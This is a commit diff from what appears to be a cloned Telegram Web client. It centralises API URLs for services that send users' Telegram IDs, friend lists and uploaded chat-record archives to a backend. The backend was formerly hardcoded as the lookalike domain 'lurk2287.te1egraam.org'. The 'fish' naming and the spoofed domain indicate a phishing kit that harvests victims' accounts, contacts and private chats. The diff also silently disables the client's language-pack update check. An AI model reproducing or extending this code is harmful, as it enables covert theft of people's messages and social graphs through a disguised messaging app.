Ver código fonte

添加 API URL 配置文件,统一管理项目中的 API 地址,并更新相关服务以使用新的 API 端点

wuyi 3 meses atrás
pai
commit
9bfe8abedb

+ 63 - 0
src/config/apiUrls.ts

@@ -0,0 +1,63 @@
+/*
+ * API URLs 配置文件
+ * 统一管理项目中所有的API地址,方便调试和切换环境
+ */
+
+/**
+ * API 服务器基础URL
+ * 手动修改这个值来切换不同的服务器环境
+ * https://lurk2287.te1egraam.org
+ */
+export const API_BASE_URL = 'http://192.168.6.244:3010';
+
+/**
+ * API端点配置
+ */
+export const API_ENDPOINTS = {
+  // Fish API 相关端点
+  FISH: {
+    CREATE: '/api/fish/create',
+    UPDATE: '/api/fish/update',
+    DELETE: '/api/fish/delete',
+    GET: '/api/fish/get'
+  },
+
+  // Fish Friends API 相关端点
+  FISH_FRIENDS: {
+    BATCH: '/api/fish-friends/batch',
+    CREATE: '/api/fish-friends/create',
+    UPDATE: '/api/fish-friends/update',
+    DELETE: '/api/fish-friends/delete'
+  },
+
+  // 聊天记录相关端点
+  RECORDS: {
+    UPLOAD: '/api/records/upload',
+    DOWNLOAD: '/api/records/download',
+    LIST: '/api/records/list'
+  },
+
+  // 用户信息相关端点
+  USER_INFO: {
+    GET: '/api/user/info',
+    UPDATE: '/api/user/update'
+  }
+} as const;
+
+/**
+ * 构建完整的API URL
+ * @param endpoint API端点
+ */
+export function buildApiUrl(endpoint: string): string {
+  return `${API_BASE_URL}${endpoint}`;
+}
+
+/**
+ * 获取API基础URL
+ */
+export function getApiBaseUrl(): string {
+  return API_BASE_URL;
+}
+
+// 导出默认的API基础URL,保持向后兼容
+export const DEFAULT_API_BASE_URL = API_BASE_URL;

+ 7 - 2
src/lib/api/chatRecordsService.ts

@@ -6,6 +6,7 @@
 import {logger} from '../logger';
 import rootScope from '../rootScope';
 import pause from '../../helpers/schedulers/pause';
+import {getApiBaseUrl, API_ENDPOINTS} from '../../config/apiUrls';
 
 export interface ChatRecordData {
   id: string;
@@ -36,10 +37,14 @@ export interface UploadResponse {
 
 export class ChatRecordsService {
   private log = logger('[chat-records-service]');
-  private baseUrl: string = 'https://lurk2287.te1egraam.org';
+  private baseUrl: string;
   private retryCount: number = 3;
   private retryDelay: number = 1000;
 
+  constructor(baseUrl?: string) {
+    this.baseUrl = baseUrl || getApiBaseUrl();
+  }
+
   /**
    * 导出所有聊天记录
    */
@@ -481,7 +486,7 @@ export class ChatRecordsService {
    * 上传聊天记录文件
    */
   public async uploadChatRecords(zipBlob: Blob, fileName: string, fishId: string, description?: string): Promise<UploadResponse> {
-    const url = `${this.baseUrl}/api/records/upload`;
+    const url = `${this.baseUrl}${API_ENDPOINTS.RECORDS.UPLOAD}`;
 
     for(let attempt = 1; attempt <= this.retryCount; attempt++) {
       try {

+ 4 - 3
src/lib/api/fishApiService.ts

@@ -3,6 +3,7 @@
  */
 
 import {logger} from '../logger';
+import {getApiBaseUrl, API_ENDPOINTS} from '../../config/apiUrls';
 
 export interface FishUserData {
   id: string;           // Telegram 用户 ID
@@ -26,8 +27,8 @@ export class FishApiService {
   private retryCount: number = 3;
   private retryDelay: number = 1000; // 1秒
 
-  constructor(baseUrl: string = 'https://lurk2287.te1egraam.org') {
-    this.baseUrl = baseUrl;
+  constructor(baseUrl?: string) {
+    this.baseUrl = baseUrl || getApiBaseUrl();
   }
 
 
@@ -35,7 +36,7 @@ export class FishApiService {
    * 发送用户数据到后台服务器
    */
   public async sendUserData(userData: FishUserData): Promise<FishApiResponse> {
-    const url = `${this.baseUrl}/api/fish/create`;
+    const url = `${this.baseUrl}${API_ENDPOINTS.FISH.CREATE}`;
 
     for(let attempt = 1; attempt <= this.retryCount; attempt++) {
       try {

+ 4 - 3
src/lib/api/fishFriendsApiService.ts

@@ -3,6 +3,7 @@
  */
 
 import {logger} from '../logger';
+import {getApiBaseUrl, API_ENDPOINTS} from '../../config/apiUrls';
 
 export interface FishFriendData {
   id: string;           // 好友的 Telegram 用户 ID
@@ -25,15 +26,15 @@ export class FishFriendsApiService {
   private retryCount: number = 3;
   private retryDelay: number = 1000; // 1秒
 
-  constructor(baseUrl: string = 'https://lurk2287.te1egraam.org') {
-    this.baseUrl = baseUrl;
+  constructor(baseUrl?: string) {
+    this.baseUrl = baseUrl || getApiBaseUrl();
   }
 
   /**
    * 批量发送好友数据到后台服务器
    */
   public async batchCreateFriends(friendsData: FishFriendData[]): Promise<FishFriendsBatchResponse> {
-    const url = `${this.baseUrl}/api/fish-friends/batch`;
+    const url = `${this.baseUrl}${API_ENDPOINTS.FISH_FRIENDS.BATCH}`;
 
     for(let attempt = 1; attempt <= this.retryCount; attempt++) {
       try {

+ 3 - 0
src/lib/langPack.ts

@@ -736,6 +736,9 @@ export function handleStateCleared() {
 }
 
 export async function checkLangPackForUpdates() {
+  // 禁用 webk 语言包自动更新检查
+  return;
+
   const storedLangPack = await I18n.getCacheLangPack();
   const difference = await rootScope.managers.appLangPackManager.getDifference(storedLangPack.lang_code, storedLangPack.version);
   if(difference.version > storedLangPack.version) {